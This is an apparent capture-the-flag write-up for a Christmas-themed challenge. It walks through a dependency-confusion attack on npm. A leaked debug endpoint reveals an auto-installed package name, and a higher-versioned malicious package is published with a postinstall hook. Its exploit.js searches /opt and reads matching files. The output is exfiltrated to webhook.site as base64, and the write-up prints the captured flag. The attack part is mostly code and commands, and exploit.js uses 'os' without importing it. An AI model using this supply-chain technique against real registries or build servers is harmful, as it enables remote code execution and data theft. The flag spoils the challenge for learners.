Search for a command to run...
Every winter, the elves’ factory relies on a massive statistics system to optimize gift production. Everything was running smoothly… until DevSecOops the elf spilled his eggnog all over his laptop. Disaster: he lost the only access to the production server, which contains the one and only copy of Santa’s List!
From his… let’s say “foggy” memory, the file should be somewhere inside the /opt/ directory.
Time is running out: without the list, there’s no way to finish production before the big day.
Your mission? Find a way to recover the list by accessing the production server!
Save Christmas… and DevSecOops’ already fragile reputation!
(Remember to clean up any files you create for this challenge—especially on external services—to avoid any hypothetical issues with your accounts.)
This challenge involves an NPM supply chain attack via dependency confusion where we exploit a debug endpoint that exposes the auto generated package name, publish a malicious version, and get RCE through the postinstall script.
The frontend JS code has a debug snippet left by DevSecOops:
const packageResponse = await fetch("/api/package");
const packageJson = await packageResponse.json();
console.debug("[package] package.json exposed:", packageJson);
This endpoint leaks the package.json:
{
"name": "elf-stats-velvet-ornament-148",
"version": "1.0.0",
"description": "Package generated automatically every 2 minutes.."
}
"generated automatically every 2 minutes" here means the server auto-installs packages from npm.
We create a malicious npm package with the same name but with a version bump 1.0.1 higher than the current 1.0.0.
package.json:
The exploit's key is the postinstall script, npm automatically runs it after installing:
{
"name": "elf-stats-velvet-ornament-148",
"version": "1.0.1",
"main": "index.js",
"scripts": {
"postinstall": "node exploit.js"
}
}
exploit.js:
Shell commands execSync seems restricted, so we use Node.js native APIs:
const fs = require("fs");
const path = require("path");
const https = require("https");
try {
let output = "";
// Get basic system info
output += "CWD: " + process.cwd() + "\n";
output += "User: " + os.userInfo().username + "\n";
output += "Node: " + process.version + "\n\n";
// Recursive file search
function searchFiles(dir, depth = 0, maxDepth = 5) {
const results = [];
if (depth > maxDepth) return results;
try {
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
try {
if (entry.isDirectory()) {
results.push(...searchFiles(fullPath, depth + 1, maxDepth));
} else if (entry.isFile()) {
// Search for files
const name = entry.name.toLowerCase();
if (
name.includes("santa") ||
name.includes("list") ||
name.includes("flag")
) {
results.push(fullPath);
}
}
} catch (e) {
// ...
}
}
} catch (e) {
// ...
}
return results;
}
// Search opt/ and other dirs
const found = searchFiles("/opt", 0, 4);
output += "Found files:\n" + found.join("\n") + "\n\n";
for (const file of found) {
try {
const content = fs.readFileSync(file, "utf8");
output += `[${file}]\n${content}\n\n`;
} catch (e) {
output += `Cant read ${file}\n\n`;
}
}
} catch (e) {
// ...
}
We use webhook.site to exfiltrate the data
Then, using webhook.site to exfiltrate the data, when the exploit runs, it sends the data:
https://webhook.site/...?data=PT09IEJhc2ljIEluZm8gPT09...
The data parameter contains base64-encoded output.
echo "PT09IEJhc2ljIEluZm8gPT09..." | base64 -d
Publishing the exploit:
Login to npm:
npm login
Publish package:
cd exploit-package/
npm publish
The server's automated process will:
1.0.1 > 1.0.0 and install our packagenpm install which triggers the postinstall hooknode exploit.js on the server/opt/, finds the flag, and sends it to our webhookThe exploit found and read /opt/santa-list.txt:
CWD: /tmp/build-6507087d63c0/node_modules/elf-stats-velvet-ornament-148
# ...
Found files:
/opt/santa-list.txt
# ...
RM{_D3p3nd3ncy_C0nfus10n_1s_N0t_4_G4m3_}
npm unpublish elf-stats-velvet-ornament-148@1.0.1
Or remove the entire package:
npm unpublish elf-stats-velvet-ornament-148 --force